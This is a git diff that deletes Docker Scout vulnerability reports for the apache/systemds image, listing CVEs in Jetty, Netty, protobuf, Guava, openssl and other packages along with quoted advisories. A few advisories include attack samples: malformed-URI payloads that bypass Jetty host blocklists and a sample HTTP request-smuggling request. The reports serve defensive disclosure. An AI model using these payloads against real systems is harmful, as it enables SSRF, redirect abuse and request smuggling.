- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output8.md b/docker/scout_results/medium-cves/sysds_output8.md deleted file mode 100644 index f53cd36f051..00000000000 --- a/docker/scout_results/medium-cves/sysds_output8.md +++ /dev/null @@ -1,1731 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:0d72f68531f39c7540e5b5fb7351e340dbaaebf71eecb36e40495a10bfe3e956
vulnerabilitiescritical: 1 high: 10 medium: 29 low: 7 unspecified: 1
platformlinux/amd64
size369 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
